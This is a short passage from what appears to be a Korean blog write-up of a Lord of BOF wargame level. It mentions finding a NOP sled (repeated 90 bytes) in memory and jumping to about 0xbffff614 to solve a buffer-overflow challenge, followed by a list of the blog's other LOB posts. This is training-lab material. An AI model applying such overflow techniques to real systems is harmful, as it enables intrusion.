쭉~~~까서 내려가다보면 90이 반복되는것을 볼 수 있다.



0xbffff614정도로 점프하면 될것 같아 보인다.



제대로 해결하였다.

'LOB' 카테고리의 다른 글

LOB:Darkknight→Bugbear  (0) 2018.04.11
LOB:Golem→Darkknight  (0) 2018.04.11
LOB:Vampire→Skeleton  (0) 2018.04.09
LOB : Troll→Vampire  (0) 2018.04.09
LOB : Orge→Troll  (0) 2018.04.09
블로그 이미지

천재보다는 범재

,